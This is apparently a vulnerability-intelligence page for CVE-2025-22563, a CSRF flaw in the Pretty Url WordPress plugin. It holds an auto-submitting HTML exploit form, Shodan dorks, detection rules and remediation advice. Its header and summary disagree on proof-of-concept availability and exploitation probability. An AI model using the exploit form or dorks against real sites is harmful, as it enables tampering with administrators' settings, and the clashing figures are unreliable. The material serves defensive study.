☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Faaiq logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 4.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-22563

CVE-2025-22563 Cross-Site Request Forgery in Faaiq
📅 PUBLISHED: 2025-01-07 16:15 UTC 🔄 UPDATED: 2026-08-21 19:23 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.23%
👁️
0.23% probability
5.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1185
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-22563 is a Cross-Site Request Forgery (CSRF) vulnerability discovered in the Pretty Url WordPress plugin, developed by faaiq. This plugin is designed to create user-friendly, search-engine-optimized URLs for WordPress sites. The vulnerability affects all versions from n/a through 1.5.5.

The flaw allows an attacker to trick an authenticated administrator into unknowingly executing unwanted actions on their WordPress site. Since this is a WordPress plugin vulnerability, the attack surface is limited to the WordPress ecosystem. The CVSS score of 4.3 (Medium) reflects the requirement for user interaction and the limited impact on confidentiality and availability, though integrity can be partially compromised.

No public proof-of-concept (PoC) code or exploit is currently available, and the patch status remains unknown. The EPSS score of 0.0% indicates a very low probability of exploitation in the wild at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users who have installed the plugin via the WordPress admin dashboard or directly from the repository are at risk. There is no known compromise of the plugin's distribution channel, but the lack of a patch means users must rely on manual mitigation or removal.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Base Score: 4.3 (Medium)
  • Attack Vector (AV): Network – The attack can be launched remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): None – The attacker does not need to be authenticated.
  • User Interaction (UI): Required – The victim must click a link or visit a malicious page.
  • Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): None – No data is exposed.
  • Integrity (I): Low – The attacker can modify settings or perform actions on behalf of the admin.
  • Availability (A): None – No denial of service is possible.

Threat Level: Medium. While the impact is limited to integrity, the low attack complexity and network vector make it a viable target for phishing campaigns.

Deep Dive & Mechanics

The vulnerability resides in the Pretty Url plugin's administrative interface. The plugin likely lacks proper CSRF nonce validation on its settings page or action handlers. A CSRF attack works by crafting a malicious request that appears legitimate to the server. Since the victim (an admin) is already authenticated, the server processes the request as if it came from the admin.

Attack Flow:

  1. The attacker crafts a malicious HTML page or email containing a hidden form or image tag that points to a vulnerable endpoint in the Pretty Url plugin (e.g., /wp-admin/options-general.php?page=pretty-url&action=update).
  2. The attacker lures an authenticated WordPress admin to visit this page.
  3. The victim's browser automatically sends the forged request, including their session cookies.
  4. The plugin processes the request without verifying a CSRF token, allowing the attacker to change plugin settings, such as URL rewrite rules or permalink structures.

Root Cause: The plugin does not implement WordPress's built-in CSRF protection mechanisms, such as wp_nonce_field() and check_admin_referer().

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable code pattern. A typical vulnerable implementation in a WordPress plugin settings page looks like this:

Vulnerable Code (PHP):

function pretty_url_save_settings() {
    if ( isset( $_POST['pretty_url_option'] ) ) {
        update_option( 'pretty_url_option', sanitize_text_field( $_POST['pretty_url_option'] ) );
    }
    // No nonce check!
}
add_action( 'admin_post_update_pretty_url', 'pretty_url_save_settings' );

Patched Code (Hypothetical):

function pretty_url_save_settings() {
    // Verify nonce
    if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'pretty_url_settings' ) ) {
        wp_die( 'Security check failed.' );
    }
    if ( isset( $_POST['pretty_url_option'] ) ) {
        update_option( 'pretty_url_option', sanitize_text_field( $_POST['pretty_url_option'] ) );
    }
}
add_action( 'admin_post_update_pretty_url', 'pretty_url_save_settings' );

The patched version adds a nonce verification step using wp_verify_nonce(), which prevents CSRF attacks.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A WordPress site with Pretty Url plugin version <= 1.5.5 installed and activated.
  • An authenticated admin user session.

Exploit Payload (HTML):

<html>
<body>
<h1>Click this link to win a prize!</h1>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="update_pretty_url">
    <input type="hidden" name="pretty_url_option" value="malicious_value">
    <input type="submit" value="Claim Prize">
</form>
<script>
    document.forms[0].submit();
</script>
</body>
</html>

Steps:

  1. Host the above HTML on an attacker-controlled server.
  2. Send a phishing email to the WordPress admin with a link to the malicious page.
  3. When the admin visits the page, the form auto-submits, changing the plugin settings.

Blue Team (Detection & Defense)

Detection:

  • Monitor for unexpected POST requests to /wp-admin/admin-post.php with action parameters related to Pretty Url.
  • Look for unusual changes in WordPress options table, specifically pretty_url_option.

Defense:

  • Ensure all WordPress plugins are updated.
  • Implement Web Application Firewall (WAF) rules to block requests missing nonce tokens.
  • Educate administrators about phishing attacks.

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /wp-admin/admin-post.php with action=update_pretty_url or similar.
    • Referer headers from suspicious domains.
  • Host:
    • Unexpected changes in the wp_options table, specifically the pretty_url_option entry.
    • Modified .htaccess or permalink structures.
  • Logs:
    • WordPress debug log entries showing failed nonce checks (if patched).
    • Access logs showing repeated POST requests to admin endpoints from a single IP.

Detection Engineering

YARA Rule

rule Detect_Pretty_Url_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against Pretty Url plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22563"
    strings:
        $s1 = "action=update_pretty_url" ascii wide nocase
        $s2 = "pretty_url_option" ascii wide nocase
        $s3 = "admin-post.php" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CSRF Exploit Attempt Against Pretty Url Plugin
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests targeting Pretty Url plugin without proper nonce
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-post.php'
        cs-uri-query|contains: 'action=update_pretty_url'
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-22563 - CSRF Attempt Against Pretty Url Plugin";
    flow:to_server,established;
    http.method; content:"POST";
    http.uri; content:"/wp-admin/admin-post.php";
    http.client_body; content:"action=update_pretty_url";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if it is not critical for operations. Navigate to /wp-admin/plugins.php and deactivate "Pretty Url".
  2. Remove the plugin entirely to eliminate the attack surface.

Long-term Fix:

  • Since no official patch is available, consider forking the plugin and adding CSRF nonce checks, or switch to an alternative URL management plugin that is actively maintained.

Compensating Controls:

  • Implement a Web Application Firewall (WAF) rule to block requests to admin-post.php that lack a valid nonce parameter.
  • Enforce strict Content Security Policy (CSP) headers to prevent form auto-submission from external origins.
  • Use WordPress security plugins like Wordfence or Sucuri that can detect and block CSRF attempts.

Monitoring:

  • Regularly review WordPress admin activity logs.
  • Set up alerts for changes to the wp_options table.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Pretty Url"
http.html:"wp-content/plugins/pretty-url"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-22563/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.